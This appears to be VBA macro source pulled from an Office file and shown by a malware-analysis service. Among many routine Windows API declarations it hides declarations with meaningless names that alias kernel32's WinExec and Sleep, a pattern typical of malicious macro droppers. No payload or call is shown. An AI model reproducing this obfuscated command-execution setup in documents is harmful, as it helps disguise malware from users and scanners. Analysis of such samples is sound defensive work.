Declare Function EndDeferWindowPos Lib "user32" (ByVal hWinPosInfo As Long) As Long
Declare Function EndDialog Lib "user32" (ByVal hDlg As Long, ByVal nResult As Long) As Long
Declare Function GetMessagePos Lib "user32" () As Long
Declare Function GetTabbedTextExtent Lib "user32" Alias "GetTabbedTextExtentA" (ByVal hDC As Long, ByVal lpString As String, ByVal nCount As Long, ByVal nTabPositions As Long, lpnTabStopPositions As Long) As Long
Declare Function SetDlgItemText Lib "user32" Alias "SetDlgItemTextA" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal lpString As String) As Long
Declare Function SetDoubleClickTime Lib "user32" (ByVal wCount As Long) As Long
Declare Function SetMenu Lib "user32" (ByVal hWnd As Long, ByVal hMenu As Long) As Long
Declare Function SetMenuContextHelpId Lib "user32" (ByVal hMenu As Long, ByVal dw As Long) As Boolean
Declare Function SetMenuDefaultItem Lib "user32" (ByVal hMenu As Long, ByVal uItem As Long, ByVal fByPos As Long) As Boolean
Declare Function SetMenuItemBitmaps Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long, ByVal hBitmapUnchecked As Long, ByVal hBitmapChecked As Long) As Long
Declare Function TabbedTextOut Lib "user32" Alias "TabbedTextOutA" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal lpString As String, ByVal nCount As Long, ByVal nTabPositions As Long, lpnTabStopPositions As Long, ByVal nTabOrigin As Long) As Long
Declare Function GetMessageTime Lib "user32" () As Long
Declare Function GetOpenClipboardWindow Lib "user32" () As Long
Public Declare Sub bdfkij2bw3kjv Lib "kernel32" Alias "Sleep" (ByVal cnkqjb3kjb As Long)
Declare Function ExcludeUpdateRgn Lib "user32" (ByVal hDC As Long, ByVal hWnd As Long) As Long
Declare Function ExitWindows Lib "user32" (ByVal dwReserved As Long, ByVal uReturnCode As Long) As Long
Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Declare Function GetMenuCheckMarkDimensions Lib "user32" () As Long
Declare Function GetMenuContextHelpId Lib "user32" (ByVal hMenu As Long) As Long
Declare Function GetMenuDefaultItem Lib "user32" (ByVal hMenu As Long, ByVal fByPos As Long, ByVal gmdiFlags As Long) As Long
Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu As Long) As Long
Declare Function GetMenuItemID Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Declare Function GetMenuState Lib "user32" (ByVal hMenu As Long, ByVal wID As Long, ByVal wFlags As Long) As Long
Declare Function GetMenuString Lib "user32" Alias "GetMenuStringA" (ByVal hMenu As Long, ByVal wIDItem As Long, ByVal lpString As String, ByVal nMaxCount As Long, ByVal wFlag As Long) As Long
Declare Function GetThreadDesktop Lib "user32" (ByVal dwThread As Long) As Long
Declare Function GetTopWindow Lib "user32" (ByVal hWnd As Long) As Long
Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long
Declare Function GetPriorityClipboardFormat Lib "user32" (lpPriorityList As Long, ByVal nCount As Long) As Long
Declare Function GetProcessWindowStation Lib "user32" () As Long
Declare Function GetScrollRange Lib "user32" (ByVal hWnd As Long, ByVal nBar As Long, lpMinPos As Long, lpMaxPos As Long) As Long
Declare Function GetUpdateRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal fErase As Long) As Long
Declare Function GetUserObjectInformation Lib "user32" Alias "GetUserObjectInformationA" (ByVal hObj As Long, ByVal nIndex As Long, pvInfo As Any, ByVal nLength As Long, lpnLengthNeeded As Long) As Boolean
Declare Function SetMessageExtraInfo Lib "user32" (ByVal lParam As Long) As Long
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Declare Function SetMessageQueue Lib "user32" (ByVal cMessagesMax As Long) As Boolean
Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Declare Function SendMessageCallback Lib "user32" Alias "SendMessageCallbackA" (ByVal hWnd As Long, ByVal msg As Long, ByVal wParam As Long, ByVal lParam As Long, ByVal lpResultCallBack As Long, ByVal dwData As Long) As Long
Declare Function SetActiveWindow Lib "user32" (ByVal hWnd As Long) As Long
Declare Function SetCapture Lib "user32" (ByVal hWnd As Long) As Long
Declare Function SetCaretBlinkTime Lib "user32" (ByVal wMSeconds As Long) As Long
Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long
Declare Function SetWindowWord Lib "user32" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal wNewWord As Long) As Long
Public Declare Function sadfjkl23hkl Lib "kernel32" Alias "WinExec" (ByVal bder356 As String, ByVal vszdf46457 As Long) As Long
Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Declare Function ReuseDDElParam Lib "user32" (ByVal lParam As Long, ByVal msgIn As Long, ByVal msgOut As Long, ByVal uiLo As Long, ByVal uiHi As Long) As Long
Declare Function SendDlgItemMessage Lib "user32" Alias "SendDlgItemMessageA" (ByVal hDlg As Long, ByVal nIDDlgItem As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function SetCaretPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Public Declare Function timeGetTime Lib "winmm.dll" () As Long
Declare Function SetClassLong Lib "user32" Alias "SetClassLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Declare Function SetClassWord Lib "user32" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal wNewWord As Long) As Long
Declare Function SetCursor Lib "user32" (ByVal sfkwhbv3vgoifgw7goig3ori2gwo8rgfwoy3r2f3 As Long) As Long
#End If

Private kn2mn5 As Long
Private xkj23bjhk As Long




Attribute VB_Name = "pfoi23hj"
Attribute VB_Base = "0{801456E9-528A-4D73-9AF8-D26B7943152A}{B33E929E-E44C-4101-A5E8-446AC8FB3800}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.